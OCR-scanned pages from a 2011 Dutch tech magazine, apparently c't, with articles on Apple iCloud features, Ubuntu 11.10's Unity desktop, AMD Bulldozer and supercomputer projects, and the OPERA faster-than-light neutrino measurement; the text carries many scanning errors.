den voortaan in de Fotostream, Je kunt geen 
afzonderlijke foto's uitfilteren of naderhand 
verwijderen, iCIoud.com heeft onder 'Geavan- 
ceerd' een optle om de Fotostream te resetten, 
dan worden (volgens Apple) alie foto's van de 
Apple-servers gewist Wel blijven de foto's dan 
nog als kopie op alle aangemetde apparaten 
staan en moet je ze daar handmatig verwijde- 
rem Als je in de Instellingen van een lOS-appa- 
raat Fotostream uitschakelt, verdwijnt de hele 
Fotostream-map inclusief alle foto's in een keer. 



Apples nieuwe online dienst stelt 
hoge eisen, want je hebt per se 
de nieuwste Mac OS X nodig. Als 
Je overstapt van MobileMe, dan 
worden je wachtwoorden niet 
gesynchroniseerd. 


Apple heeft voor gebruikers 
van Windows 7 en Vista het 
iCIoud Control Panel. Zonder 
Apple-apparaat kun je de ser¬ 
vice echter niet activeren. 
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Nieuws I rCloud 
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Nieuwste reservekopie 

20-10-11 

Grootte reservekopie 

2.0 GB 


Behew bpsTag iriTO 


Reserve ko pi e-o pti e s 

Kies de gegevens waarvan u een 
reservekopie wilt maken. 


Grootte volgende re serve kopie 2,2 GB 


Filmrol 

2^ G8 


iw 

o 


Wordfeud 

420 KB 

Cards 



GB be^nikti^ar; van 5,e GB op ICIbtJd ■ ^ 


.u..KPNNL^ 13:54 B 



Automatisohe downloads 


Apps 

Q Boeken 

Download automatisch nieuwe aankopen 
(inclusief gratis onderdelen) die zijn 
gedaan op andere apparaten. 


Gebruik mobiete data O 

Gebruik mobiele r>etvi^erk om aankopen te 
downioaden. 

Apple ID; help .: 



Via de iCIoud-instelliogen heb je snel een 
overzkht overde resterende opslagcapaci- 
teit. Bepaalde apps kun je van de reserve- 
kopie uitsiuiten. 

Fotostream synchronlseert momenteel (nog) 
geen video's en werkt alleen met een WLAN^ 
verblnding. 

Bestandscirculatie 

iOS- en Mac-applicaties die 'Documents in the 
Cloud' ondersteunen, synchroniseren de be- 
standen en instelllingen tussen verschillende 
apparaten automatisch. Zo kun je opje iPhone 
verder werken aan de presentatie waar je met 
Keynote opje iPad aan was begonnen en maak 
je hem uiteindelijk af op |e Mac* Je hoeft dus 
niet meer steeds in de weer met de laatste ver- 
sies die je van het ene near het andere apparaat 
moet kopieren. 

In de praktijk waren er voor de iWork-appli¬ 
ca ties tot redactieslulling alleen iCIoud-updates 
voor de iOS^apparaten te vinden - niet voor 
Mac OS X. Bovendien is maar een handjevol 
apps van derde partljen al geschikt voor iCIoud, 
bijvoorbeeld Good Reader en Sketch Book Mo¬ 
bile/Pro van Autodesk. Via iCioud-com kun je 
de documenten van de iOS-iWork apps (aIs 
thumbnail) bekijken, downtoaden en wissen. 
Bovendien kun je een nieuw document met 
een bestandsformaat dat wordt ondersteund 
(dus ookeen Word-, Excel- of PowerPoint-docu- 
ment) dirert naar de browser slepen* Na enkeie 
seconden zijn ze dan geopend in de bijbeho- 
rende iOS-app. Documenten die je In Pages 
naar de prullenbak sleept, verdwijnen ook met- 
een uit de iCloud in je browser 

All-riskverzekering 

iCIoud kan 24 uur per dag een back-up ('reser- 
vekopieO van je iOS-apparaten maken. Hierin 


In de Store-instellingen kun je activeren 
dat apps en boeken automatisch gedown- 
load worden* Amerikaanse gebruikers 
kunnen dat ook doen voor gekochte 
muziek en tv-series. 

zitten a lie foto's en video's, de instellingen, de 
gegevens en de volgorde van de apps, be- 
richten en ringtones. De back-up werkt echter 
alleen automatisch als het apparaat met ver- 
grendeld scherm aan de lader hangt en met 
een draadloos netwerk is verbonden. Je kunt 
een back-up altijd op elk moment handmatig 
starten* De iCIoud-reserve kopie deactiveert 
meteen de back-upfunctie van iTunes die tot 
dusver altijd werd gebruikt. Je kunt wel nog 
handmatig back-uppen door met de rechter- 
muisknop in de zijbalk van iTunes op het appa¬ 
raat te klikken. In de iCIoud-instellingen onder 
iOS kun je via 'Beheer opslag' bepaalde gege¬ 
vens van de reservekopie uitsiuiten, 

Een nieuwe of geresette iPhone of iPad is 
met een bestaande iCIoud-reserve kopie direct 
In de normale toestand terug te zetten. Daarna 
kun je de apps en boeken die je via de App 
Store gekocht hebt op je iOS-apparaat zetten, 
'(Tunes in the Cloud' kan ook gekochte muziek 
en tv-series downfoaden, maar op dit moment 
is dat alleen nog voor Amerikaanse gebruikers 
mogeiijk. 

Bovendien kan 'Tunes in the Cloud' nieuw 
gekochte content automatisch naaraile aange- 
melde apparaten downioaden. Deze functies 
zaten overigens ook a I in i OS 43.3 en Tunes 
10.3* A He redown load-features zijn niet per se 
aan de Apple-1 D gekoppeld waarmee de ande- 
re iCioud-functies verbonden zijn* Als je voor je 
Tunes-account altijd een andere ID gebruikte, 
kun je dat nog steeds. Zo Scheldt Apple ook 
beide gebieden duidelijk in de iOS-instellingen. 
De instellingen voor iCIoud bevatten alle syn¬ 
ch ronisatiediensten, Fotostream en de online 
back-up* Het automatische downloaden confi- 
gureer je daarentegen bij de Store-instellingen. 


Dat werkt op maxima a I tien apparaten, waar¬ 
van er maar vtjf een Mac of pc mogen zijn* 

Vanaf eind oktober hebben iCIoud-gebrui- 
kers in deVS de mogelljkheid om voor 25 dollar 
per jaar hun complete muziekbabliotheek op 
Apples servers te zetten, zodat je er met ver¬ 
schillende apparaten bij kunt Apple vergelljkt 
je lokale muzieknummers met de benamingen 
die in de Tunes Store worden gehanteerd en 
dan worden alle nummers in je bibliotheek 
direct beschikbaar gesteld. De nummers die 
niet In de catalogus van de Tunes Store te 
vinden zijn, worden door Tunes dan naar de 
servers van Apple gekopieerd. Of wanneer en 
tegen welke prijs deze functie 'Tunes Match' in 
Europa van de grond zal komen, is nog onbe- 
kend. 

Stalkers 

Slnds 2010 biedt Apple bezitters van een IPad 
of iPhone 4 gratis een functie aan om de loca- 
tie van je apparaat te bepalen. Naast het tonen 
van deze locatie op een kaart kan 'Zoek mijn 
iPhone' ook een bericht of een geluid op het 
apparaat afspelen, het apparaat vergrendelen 
of content op afstand wissen* iCIoud brengt 
deze functie ook naar de Mac Je kunt deze 
functie bedrenen via iCloud.com of via een gra¬ 
tis iOS-app. 

Naast je eigen apparaten kun je nu ook de 
locatie van andere lOS-apparaten achterhalen, 
voorzover de eigenaar dat natuurlijk ook toe- 
staat Met de nieuwe app 'Zoek mijn vrienden' 
kun je dit beheren. Je kunt daarbij ook je eigen 
verblijfplaats laten weten. Het delen van je fo- 
catie is te beperken tot bepaalde person en en 
een bepaalde tijdsduur. Zo kun je je vrienden 
sneller terugvinden als je met elkaar op de 
kermis bent. Met een simpele schuifknop kun 
je het doorgeven van je locatie op elk moment 
stoppen. Dat kan ook permanent door de app 
simpelweg te verwijderen. Ouders kunnen dat 
in de apparaten van hun kinderen verhinderen 
via 'Instellingen / Beperkingen' en op die ma- 
nier altijd weten waar hun kroost uit hangt. 

Apple belooft dat de gegevens versleuteld 
worden verstuurd en dat de Fotostream-foto's, 
documenten, reservekopieen, contacten, agen¬ 
da, bladwijzers, herinneringen en locatiegege- 
vens versleuteld worden opgeslagen. Of dat 
ook voor de e-mails en notitles geldt, is ondui- 
delijk* 

Conduste 

Als reclamevrij all-roundpakket is de functie- 
omvang van iOoud onovertroffen. De service 
blijft echter overwegend beperkt tot hard¬ 
ware van Apple en je hebt er recente software 
voor nodig. Andere clouddiensten zijn min¬ 
der kieskeurig* Voor iOS 5-gebruikers vormen 
de extra functies een waardevolle aanvulling 
en zijn ze probleemloos te gebruiken. Als je 
ze eerst eens wilt uitproberen, kun je naast je 
bestaande MobiteMe-account nog een a parte 
Apple ID aanmaken. Helaas is het nog steeds 
niet mogeiijk om meerdere ID's aan elkaar te 
koppelen, (jmu) 
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Nieuws I Ubuntu 11.10 



Michael Kofler 


Nog geen 
geheel 

Ubuntu n .10 Oneiric Oceiot met 
Unity-desktop 

De radicale vernieuwing van de Ubuntu-desktop wordt ook 
voortgezet in versie 11 JO van het besturingssysteem, Er is 
flink aan Unity geschaafd en gepolijst, waardoor de nieuwe 
versie een stuk soepeler werkt dan zijn voorganger Voor 
gebruikers blijft het wennen, a lies werkt toch steeds net 
even anders dan voorheen. 

U buntu maakt sinds 11.04 
gebruik van de Unity- 
desktop, Dat was toen nog 
op het fundament van de oude 
Gnome 2, maar in versie 11.10 
{Oneiric Ocelot) is die vervangen 
door Gnome 3,2. De nieuwe win¬ 
dow-manager Gnome-shell zit 
echter niet in Ubuntu, nnaar is ver¬ 
vangen door de Compiz-uitbrei- 
ding Unity. Met deze eigen ont- 
wikkeling van Canonical scheiden 
zich sinds een half jaar dan ook de 
wegen van Gnome. 

Canonical heeft met de eerste 
grote update van Unity een reeks 
kinderziektes verholpen. Met 
name het start menu, de Dash, is 
opgerulmder, De beiangrijkste 
wijziging is dat er nu vier verschll- 
lende dashboards zija die in Unity 
bekend staan a Is 'lenses!. Deze be- 
reikje via vier icoontjes onderin de 
Dash, 

Het standaarddashboard dient 
voor het starten van veelgebruik- 
te programma's en het zoeken 
naar bestanden en andere pro¬ 
gramma's. Helaas kun je hier niet 


bepalen welke vier toepassingen 
getoond worden, De grote snel- 
koppelingen nemen behoorlijk 
wat plaats in op het beeldscherm. 
Het zoekvel d is handig: a Is je daar 
bijvoorbeeld 'afbeelding' Entypt, 
laat de Dash niet alleen de fotoma- 
nager Shotwell zien, maar ook de 
afbeeldingen die je het laatst hebt 
be werkt of geopen d. 

Het tweede dashboard (toe¬ 
passingen) laat een helaas nogal 
onoverzichtelijke lijst van snelkop- 
peiingen naar gelnstalleerde pro¬ 
gramma's zien, Bovendien toont 
de 'lens' een lijst met aanbevolen 
programma's, die wel wat wille- 
keurig oogt. Hierin vind je zowel 
geTnstalleerde a Is niet-gei nstall eer' 
de programma's. 

Via het dashboard 'documen- 
ten' kun je snel zoeken naar Je 
laatst gebruikte bestanden of je 
beiangrijkste mappen openen 
met filemanager Nautilus, Met het 
dashboard 'muziek' is het mogelijk 
om je muziekverzameling te door- 
zoeken of om audioplayer Ban¬ 
shee te starten. 


Unity is op BD-versnelllng aan- 
gewezen en werkt vrijwel direct 
met bijna alle grafische kaarten, 
ook met veel Nvidia-modellen. 
Het installeren van de proprietaire 
Nvidia-driver is alleen bij nog re- 
latief nieuwe grafische kaarten 
nodig. Als er geen 3D-functies ter 
beschikking staan, wordt Unity 2D 
ingezet Dat verschilt op siechts 
mini male optische details van het 
origineel. In Ubuntu 11,10 kun je 
niet meer voor de klassieke Gno¬ 
me-desktop kiezen. 

Het is echter wel mogelijk om 
Gnome Shell parallel aan Unity 
te installeren. Bij het inlogscherm 
kun je dan voor de gewenste 
desktop kiezen. De Gnome Shell 
werkt zonder problemen, maar de 
Ubuntu-specifieke 'windicators' 
(aan de rechterkant van de taak- 
balk) ontbreken, Onder Unity kun 
je daarmee e-mail-, chat- en audio- 
functies aansturen, 

Toepassingen 

Evolution is als standaard e-mail- 
dient vervangen door Th un¬ 
derbird 7, Mozilla heeft de re- 
leasecyclus van zowel Firefox als 
Thunderbird naar zes weken op- 
geschroefd en Ubuntu gaat daarin 
mee, Btj versie 11.04 werkte dat af 
verrassend goed. Wat e-mailfunc- 
ties betreft hoef je over Evolu¬ 
tion geen traan te laten, maar qua 
contact- en agendabeheer kan 
Thunderbird nietecht meekomen. 
Om agendafunctionaliteit toe te 
voegen moet je sowieso eerst de 
Thunderbirdplug-in Lightning 
installeren. Daarnaast heb je nog 
extra piug-ins nodig om Exchan¬ 
ge- en Google Agenda-functies 
te kunnen gebruiken. Dit is dus 
zeker een punt waar nog het een 
en ander aan verbeterd kan wor¬ 
den. Mocht je dat willen, dan kun 
je Evotutlon uiteraard uit de repo¬ 
sitories halen en installeren. 

Het Ubuntu Softwarecentrum is 
door Canonical flink onder handen 
genomen, Het lijkt optisch meer 
op Apples App Store en biedt 
naast een kolossale verzameling 
open sou rcesoft ware ook steeds 
meer commerdele toepassingen. 
Synaptic ontbreekt, maar is ach- 
teraf te installeren. Met Deja Dup 
bevat Ubuntu voor het eerst een 
back-uptool. Voor het inlogscherm 
wordt nu de slanke manager 
Light Dm gebruikt, die vrijwel de- 
zelfde functies biedt als het voor¬ 
heen gebruikte gdm. 

Het is enigszins onbegrijpelijk 
waarom Ubuntu 11.10 bij MySQL- 
versie 5.1 blijft, terwiji versie 55 al 


bijna driekwart jaar uit is. In leder 
geval een goede reden om met 
de servereditie van Ubuntu nog 
even te wachten tot de volgende 
versie, die bovendien longterm 
support biedt. De servereditie 
van 11,10 zet vooral in op gebruik 
In de cloud: Ubuntu brengt een 
client mee voor het door VMware 
gesponsorde open cloud platform 
Eoundry, het cbudplatform Euca¬ 
lyptus en diverse tools voor het 
opzetten, beheren en monitoren 
van diensten. 

De (SO‘image van Ubuntu 
is te downloaden van de web¬ 
site. Naast diverse cd-varianten 
(32/64-bit, sta nd aa rd -/text-m od e- 
installer) is er ook een vernieuwde 
dvd-image, waarvan de grootte is 
gekrompen van bijna 4 GB naar 
1,5 GB, De dvd-versie bevat extra 
programma's als Gimp, maar kan 
niet meer in tekstmodus geinstal- 
leerd worden. Alle images kun je 
ook vanaf usb-stick opstarten. 

Conclusie 

Unity biedt weer tal van optische 
aanpassingen, maar echt overtui- 
gen doet het niet, Veel gebruikers 
zijn bovendien ontevreden over 
de veranderingen, het laten vallen 
van de interface van Gnome 2 en 
de gestage terugloop aan configu- 
ratiemogelijkheden. De doelgroep 
van Ubuntu bestaat in toenemen- 
de mate uit instappers, niet uit 
technische gebruikers. Afgezlen 
van Unity heeft Canonical met 
Ubuntu 11.10 weer een aantrek- 
kelijke distributee met veel nieuwe 
softwareversies uitgebracht. 

De koers die Canonical inslaat 
is echter niet zonder risico's, Hoe 
hoger het aantal zelfontwlkkelde 
componenten in Ubuntu (Unity, 
het indicatorsysteem, Ubuntu One, 
Upstart, het Softwarecentrum), 
des te meer onderhoud de refatief 
kleine groep ontwikkelaars moet 
verrichten. Door alle stabfliteitspro- 
blemen in deze componenten lijkt 
het er vooral snog op dat Canonical 
teveel hooi op de vork heeft geno¬ 
me n. Hoewel Mark Shuttlewoith 
een ^pixel-perfeae' Unity belooft 
voor versie 12.04, valt dat dus nog 
eventebezien, (jsc) 
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Nieuws {Processors 


Andreas Stiller, Christof Windeck 

Onder 

processoren 

Over vreugde en verdriet 

AMD's Bulldozer is eindelijk gearriveerd, maar het 
enthousiasme is over het algemeen niet bijzonder groot. 
Sterker nog: vaak hoor je in dezelfde zfn ook het woord 
"teleurstellend" vallen, Desondanks maken talloze 
rekencentra wereldwijd gebruik van de architectuur. 


V eel testers doen bij de FX- 
81 so niet alleen hun beklag 
over de wat lage perfor¬ 
mance en het hoge energiever- 
bruik, niaar ook over het feit dat 
AMD hen veel te welnig tijd heeft 
gegeven. De definitieve chip werd 
pas enkele dagen voor de officiele 
verschijningsdatum op 12 okto- 
ber uitgeleverd - veel te kort om 
echt goed te kunnen meten of 
optimalisatles met AVX, FMA4 of 
XOP door te voeren. Om de SPEC- 
CPU2006-suite een keer te door- 
lopen, heb je al ruim twee dagen 
nodig. En dan moet alles ook nog 
eens meteen draaien. 

Daarnaast is het altijd een slecht 
teken als een bedrijf bij de pre- 
sentatie van een nieuw product 
a I over de opvolger praat Zo had 
Intel het ten tijde van NetBurst- 
stfoomvreter Pentium 4 voorna' 
melijk over komende verbeterin- 
gen en ook bij het introduceren 
van de Atom ging het over wat 
de toekomst zou brengen. Tegen 
deze achtergrond heeft AMD's 
aankondiging van Orochi-Bull" 
dozer-op VO Igers Piledriver, Steam¬ 
roller en Excavator een wat wrang 
bijsmaakje. 

De Piledriver-core was door 
AMD a I werkend gepresenteerd in 
de Trinity met geVntegreerde grap¬ 
hics. Mogelijk komt deze mobiele 
processor a I begin volgend jaar uit, 
slechts een paar maanden na Bull¬ 
dozer De graphics zijn veel sneller 
dan bij Llano, maar van de kernen 
is geen revolutionaire verbetering 
te verwachten, Hooguit zal hier 
en daar het buffergeheugen wat 
groter zijn. Bij de Steamroller zal in 
2013 de interne architectuur aan- 
gepast worden en zullen bottle¬ 
necks verdwijnen. Uiterlljk bij het 
ultkomen van Excavator moet 
het energieverbruik met hooguit 


zo'n 50 procent zijn gedaald. Voor 
de mobiele processors circuleren 
al veel nieuwe codenamen, van 
Kaveri-apu met Steamroller tot 
Kabini en Samara met Jaguar-cpy 
als opvolger van Bobcat. Onduide- 
lljk is nog wat er met PCI Express 
3 gaat gebeuren. Hypertransport 
is daar te langzaam voor, temeer 
omdat AMD daar sowieso zo snel 
mogelijk wilstoppen, 

De vraag blijft waarom AMD er 
maar niet in slaagt om vier jaar na 
de eerste aankondiging van Bull¬ 
dozer een alom overtulgend pro¬ 
duct te introduceren. Sommlgen 
menen dat dit ookaan Intel ligt: de 
illegale manleren waarmee Intel 
de producten van AMD sinds de 
presentatie van de Athlon tot 2004 
van de markt kon houden, heeft 
de kleinere concurrent uiteindelijk 
de kop gekost Het miljardenbe- 
drag dat daar in 2009 voor betaald 
is, kon dat niet meet goedmaken. 

Overigens heeft AMD ook wat 
eigen problemen op te lossen: 
de 5,4 miljard dollar die in 2006 
werd betaald voor de overname 
van ATI blijkt veel te veel te zijn 
geweest. Nu ontbreken middelen 
om nieuwe producten te ontwik- 
keien. Met de afsplitsing van de 
chipproductie in Globa I Foundries 
(en daarmee een scheiding van 
de cpu-ontwikkeling) ontstond 
de angst dat AMD een structureel 
nadeel ten opzichte van Intel zou 
krijgen. De hoge heren bij AMD 
blijven intussen een stoelendans 
houden - en blijven er befangrijke 
mensen vertrekken. Voormalige 
medewerkers weten bovendien 
te melden dat AMD atteen nog ge¬ 
bruik wil maken van automatische 
designtools en niet van de tweak- 
talenten van de ontwikkelaars. Dat 
zou 20 procent aan performance 
hebben gekost. 


Maar ook als AMD veei meer geld 
en personeel zou hebben, waren 
nog niet automatisch a lie probie- 
men de wereld uit, zoals Intel al 
aantoont: ondanks gigantische 
nettowinsten van tientallen mil- 
jarden lukt het Intel al Jaren niet 
om concurrerende 3D“drivers te 
programmeren of de ARM-con- 
currentie met de Atom een halt 
toe te roepen. Begin dit jaar was 
er het gedoe met fouten in de 
Serie 6-chlpsets. En in de Itanium 
werd een vermogen gestopt. Cpu- 
ontwikkeling brengt nou eenmaal 
wat risico's met zich mee, waarbij 
je ook gewoon wat geiuk nodig 
hebt. 

Lichtpuntjes 

Zo slecht ziet het er met de Bull¬ 
dozer nu ook weer niet uit. Het 
design is inderdaad duidelijk meer 
geoptimaliseerd voor servers dan 
voor desktop-pc's, waar multi¬ 
threading nog steeds geen grote 
rol speelt. Voor High Performance 
Computing heeft de FX-8150 als 
'voorloper' van de Jnterlagos-cpu 
wel wat minpunten, maar ook zijn 
pluspunten. Denk bijvoorbeeld 
aan de nog steeds aanwezige en 
vaak onderschatte del in gen - de 
Linpack-benchmark doet alleen 
aan optellen en vermenigvut- 
digen. Op dit gebied kan de FX 
by SSE3-operaties met zijn twee 
floatingpoint-units per module de 
Core i7-2600 zeker met een factor 
twee overtreffen. 

Ook de wetenschappers van 
Oak Ridge in Tennessee - waar 
Linpack-goeroe Jack Dongarra 
behooriyk wat invloed heeft - en 
de geldschieters van hex Depart¬ 
ment of Energy (het Amerikaanse 
ministerie van Energie) lijken over- 
tuigd te zijn van de Interlagos- 
prototypen. Half oktober Is het 
contract met Cray ondertekend 
voor een Cray-XK6-ciuster met de 
naam Titan met in totaal 18.688 
Interlagos-processors en een 
opslagcapaciteit van 600 TB. De 
echte rekenkracht moet overigens 


van 18.688 Nvidia-Tesla-chips van 
de volgende gpu-versie Kepler 
komen. Van deze gpu is bekend 
dat die voor Lin pack geoptima¬ 
liseerd is. Volgens Nvidia's chief 
scientist Bill Dally heeft Kepler 
een rendement van meer dan 90 
procent, zodat je bij de Titan een 
performance van 20 petaflops 
kunt verwachten. Wellicht zijn de 
Bulldozers byzonder geschikt om 
de gpu's te voeden. 

In Stuttgart maakt een reken- 
centrum gebruik van tnterlagos, 
maar dan wel zonder Nvidia-gpu's 
in het Cray-XE6-clustec De test- 
fase daar van is voorbij, nu wordt 
de boel geVnstalleerd: 3552 nodes 
met elk twee Interfagos-cpu's {2,3 
GHz, 16 MB L3) die samen 1 petaf- 
lop moeten kunnen halen. Dat is 
ongeveer een derde van de pure 
processorkracht van de Titan, Voor 
2013 is de volgende uitbouwfase 
gepiand: Cray Cascade met 4 tot 5 
petaflops. 

Ook Intel stuurt Sandy Bridge 
ER de volgende serverprocessor- 
generatie, a I naar rekencentra 
zonder er van tevoren een officiele 
launch voor te hebben georgani- 
seerd. In het Zuid-Duitse Garching 
werd bij het Leibniz-rekencentrum 
onlangs een nieuw gebouw voor 
de SuperMUC in gebruik geno- 
men. Dit gebouw kostte door de 
speciale elsen zelf al 50 miljoen 
euro omdat er een heetwaterkoe- 
ling voor de bijbehorende fBM 
iDataplex-racks moet worden ge- 
installeerd en de warmte te kun¬ 
nen gebruiken. De SuperMUC 
zal met 112.896 kernen overeen- 
komen met de Hermit in Stuttgart 
(113.664), maar die kan een perfor¬ 
mance van maximaal 3 petaflops 
leveren. 

Deze rekencentra zullen niet 
in aanmerking komen voor een 
podiumplek in de top 500 van 
supercomputers. De Japanse K 
Computer zal waarschijnlijk over- 
tuigd op nummer 1 blijven staan 
- tenzij de Chinezen nog lets uit 
hun hoge hoed weten te toveren. 

(mvdm) 



Cray XK6: een 
node met vier 
Interlagos- 
cpu's en vier 
Kepler-gpu's Is 
de basis voor 
de 20-petaflop- 
computer Titan 
van het Oak 
Ridge National 
Laboratory. 


c't2011,Nr.l2 


29 







Nieuws I Ondenoek 


Andreas Stiller 

Einstein en de 
neutrino's 

Sneller dan het licht: meetfout of nteuwe natuurkunde? 

Toen CERN en het Italiaanse onderzoeksinstituut INFN op 22 September naar 
buiten kwamen met hun snelheidsmetingen aan neutrino's sloeg dat in ats een 
bom. Het grote nieuws was dat de neutrino's zo snel op hun bestemming waren 
aangekomen dat ze sneller hadden gereisd dan de lichtsnelheid. Het Amerikaanse 
Fermilab had een paar jaar daarvoor al vergelijkbare resultaten gepubliceerd. 


E tgenlijk was het OPERA-ex peri merit (Os¬ 
cillation Project with EmuJsion-tRacking 
Apparatus) vooral bedoeld om onder- 
zoek te doen naar het vreemde verschijn- 
sel dat neutrino's van de ene soort kunnen 
overgaan in een andere (oscillatie), namelljk 
van p-neutrino's naar T-neutrino's. De pre- 
cieze snelheid van deze deeitjes werd daar- 
bij terioops gemeten. De verrassing was des 
te groter toen bleek dat de neutrino's uit de 
voorgeschakelde deeitjesversneller (SPS) van 
de Large Hadron Collider na hun ongeveer 
730 km lange re is dwars door de aardkorst ge- 
middeld zo'n 60 ns eerder in het Gran-Sasso- 
tunnellab aankwamen dan wanneer ze met 
de lichtsnelheid gereisd zouden hebben. Dat 
betekent dat ze ongeveer 7,4 km/s sneller 
waren dan het licht en dat is volgens de kias- 
sieke interpretatie van Einsteins speciale relati- 
viteftstheorie onmogelijk 

De meetfout bedroeg volgens de onder- 
zoekers ongeveer ±6,9 ns (statistisch) ±7,4 ns 
(systematisch) en met 16J61 gedetecteerde 
events hadden ze ook een goede statist!sche 
significantie. De starttijd van een indivtdu- 
ele neutrino Is niet nauwkeurig te registreren, 
vandaar dat de onderzoekers nIet de looptijd 
van de losse deeitjes meten, maar met waan 
schijnlijkheidsverdelingen werken. Die verde^ 
ling blijkt ten opzichte van een reis met de 
lichtsnelheid verschoven met 60 ns* De tijds- 


meting werd gedaan met twee cesiumkiokken 
Cs4000 die zich met een GPS^signaal via een 
'Common View' synchrontseren. Daarbij wor- 
den de verschillende GPS-looptijden door 
tropo-, strato- en atmosfeer software matig ge- 
corrigeerd. Deze methode is ontwikkeld door 
het Zwitserse metrologische instituut METAS 
en betrouwbaar verklaard* Bovendten heeft 
het Duitse meetinstituut PTB de tijdsmeting 
op ongeveer 2 ns nauwkeurig bevestlgd met 
twee mobiele klokken die parallel aan GPS 
met tweewegcommunicatie via satellieten 
communiceerden. 

De focatie van het startpunt (BCT) en het 
eindpunt in de 6ran-Sassc±tunnel is tot op 20 
centimeter nauwkeurig gemeten met behulp 
van GPS en de gebruikelijke geodetische me^ 
thodes* De afstand tussen het GPS-station en 
de detector zou nog nauwkeuriger bepaald 
kunnen worden, maar dan zou het verkeer 
in de Gran-Sasso-tunnel compleet stilgelegd 
moeten worden en dat hebben de onderzoe¬ 
kers tot nu toe nIet van de Italiaanse automo- 
bifisten willen vragen. Nu de meetresultaten 
zo spectaculair uitvallen, zou dat nog wet eens 
kunnen veranderen. 

Uit de voorversneller (SPS) van de Large 
Hadron Collider worden via 'kicker-magneten 
voor elke meetsessie twee 10,4 ps lange proto¬ 
ne n bund els met 450 GeV energie afgeleverd* 
Deze zijn gemoduleerd met de synchrotron- 


frequentie van 500 kHz en de versnellende 
hoge frequentie van 200 MHz. De tijdstructuur 
van deze bundels wordt in een Beam Current 
Transformer-detector (BCT) met een Wave 
Form Digitizer (WFD) met hoge resolutie met 
1 gigasample/s bepaald* De protonen zitten 
bij deze energie maar zo’n 650 m/s onder de 
lichtsnelheid. Ze knalleo dan 740 m achter de 
BCT op een 2 m lang blok grafiet waarfoij meso- 
nen (pi onen, kaonen) ontstaan. Deze even eens 
geladen deeitjes kun je magnetisch bundelen. 
Ze vervallen ergens in de aansluitende 1000 
m lange vacuumtunnel meestal tot muonen, 
waarbij dan de p-neutrino's ontstaan die naar 
Gran Sasso gestuurd worden. Daar worden ze 
opgewacht door 150.000 loden 'bakstenen' die 
bestaan uit 56 food platen van elk een millime¬ 
ter dik met daartussen emulslenevelkamers 
(ECO* Deze 'stenen' wegen bij elkaar 1300 ton* 
Daarmee wordt de baan gemeten van de pro- 
ducten die ontstaan bij het botsen van de neu- 
trino’s. Uit die banen kan ook afgeleid worden 
of de neutrino's met het lood (interne events) 
of met kemen uit de omgevende rotsen (ex- 
terne events) gebotst hebben, 

5849 van de 7536 interne events werden 
als p-neutrino's gedetecteerd* Deze hadden 
gemiddeld 17 GeV energie. Er waren geen we* 
zenlijke afwijkingen in de looptijd afhankelijk 
van het energientveau of het soort neutrino's. 
Ze waren steeds zo’n 60 ns sneller dan het licht 

ik ben eral 

Maar de OPERA-onderzoekers waren niet de 
eersten die met zo'n opzienbarend resultaat 
voor neutrino's kwamen. In 2007 publlceerde 
het Amerikaanse Fermilab a I de eerste resulta¬ 
ten van het MlNOS^experiment (Main Injector 
Neutrino Oscillation Search). Ook bij MINOS 
wordt vooral gekeken naar de osciltatie en de 
massa van neutrino's* Het exact meten van 
de snelheid is eigenJijk meer bedoeld om de 
meet inst rumen ten te controleren. Hier wor¬ 
den de neutrino's op een bijna precies even 
lange reis gestuurd, namelijk 734 km naar de 
Soudan Mine in Minnesota. Je hebt namelijk 
diepliggende mijnen of tunnels nodig om de 
supergevoelige detectors zoveel mogelijk af te 
schermen van de kosmische straling* 

Ook hier was het eerste resultaat een grote 
verrassing: een snelheid van ongeveer 15 
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De voorversneller van de Large Hadron Collider schiet zijn protonen in korte bundels op een blok grafiet, waarbij 
eerst mesonen ontstaan, die dan later uiteenvallen in muonen en p-neutrino's. 
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Nieuws I Onderzoek 
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Twaalf belangnjke seconden op 24 
februari 1987. Bij de ontploffing van de 
supernova SNl 9S7A werd een verhoogde 
neutrinoactiviteit gemeten. 


km/s hoger dan de lichtsnelheld Dat kon nle- 
mand geloven, ook de onderzoekers van het 
Fermilab nlet. De systematlsche meetfouten 
waren met 64 ns namelijk duidelijk groter dan 
bij CERN [7,4 ns). Bovendien was er tot 2007 
ook maar een kleine verzameling van 473 
events gedetecteerd. 

Onderzoekers geven een meetnauwkeurig- 
held normaal op met een zogeheten betrouw- 
baarheidsinterval, waarbij de werkelyke waar- 
de met een waarschijnlijkheid van 68,3 procent 
binnen het opgegeven interval (gemiddelde 
± 1 standaarddeviatie) ligt. Het nadeel van dit 
matige betrouwbaarheidsniveau blijkt bijvoor- 
beeld uit de ontwikkeling van allerlei natuur- 
constantea waarbij de nieuwe waarden soms 
ver buiten het interval van de oude figgen. Een 
mool voorbeeld afn de grote sprongen bij het 
bepalen van de elementaire lading smds de 
eerste meting van Millikan in 1917. Volgens 
NIST ligt de huldige gemiddelde waarde sinds 
2010 bij 1,602176565 ■ 10 '^ ± 35 ■ 10^^® C, wat 
78 * 10'^^ C boven de eerder geldende waarde 
uit 2006 (1,602176487 ■ 10'^^ ± 40 ■ lO'^® C). 
Het verschil Is dus bijna twee keer de in 2006 
genoemde standaarddeviatie - in 1955 was 
zelfs sprake van een factor 8. Voorzichtige on¬ 
derzoekers nemen dus liever een grotere stan¬ 
daarddeviatie, bij voorbeeld twee keer zo groot 
voor een betrouwbaarheid van 95 procent, of 
zeffs drie keer voor 99 procent. 

AIsje het 20 bekijktzou de lichtsnelheid bij 
MINOS in tegenstelling tot bij OPERA zeker 
nog binnen de grenzen van de meetresul- 
taten vallen. Dat komt zeker ook doordat de 
onderzoekers van het Fermilab bij het meten 
blijkbaar niet al te pietiuttig te werk gingen. 
Zo werden de looptijden van de glasvezels 
naar de GPS-statlons relatief grof bepaald. 
Ter vergelrjking: alleen voor de detector in 
de Soudan-mijn is de meetnauwkeufigheid 
46 ns op de 5500 ns van de glasvezel. CERN 
geeft voor de 8,3 km lange glasvezel kabel 
bij Gran Sasso een meetnauwkeurigheid van 
slechts 1 ns op. 

MINOS-woordvoerder prof. Jenny Thomas 
heeft inmiddels al laten weten dat het team 
dit over wil doen en met de nieuw gemeten 
looptijden (waarbij rekening wordt gehouden 
met mogelijke effecten door de leeftijd van 
het materieel) de oude geg evens op nieuw wil 
berekenen. Als de onderzoekers bij de twee 


glasvezels de nauwkeu rig held van OPERA 
zouden halen, zou de meetfout van MINOS 
van 64 ns dalen naar 35 ns. Bovendien komen 
daar nog nieuwe gegevens van de afgelopen 
vier jaar bij. Zo hopen de Amerikanen al bin¬ 
nen vier tot zes maanden de OPERA-meetre- 
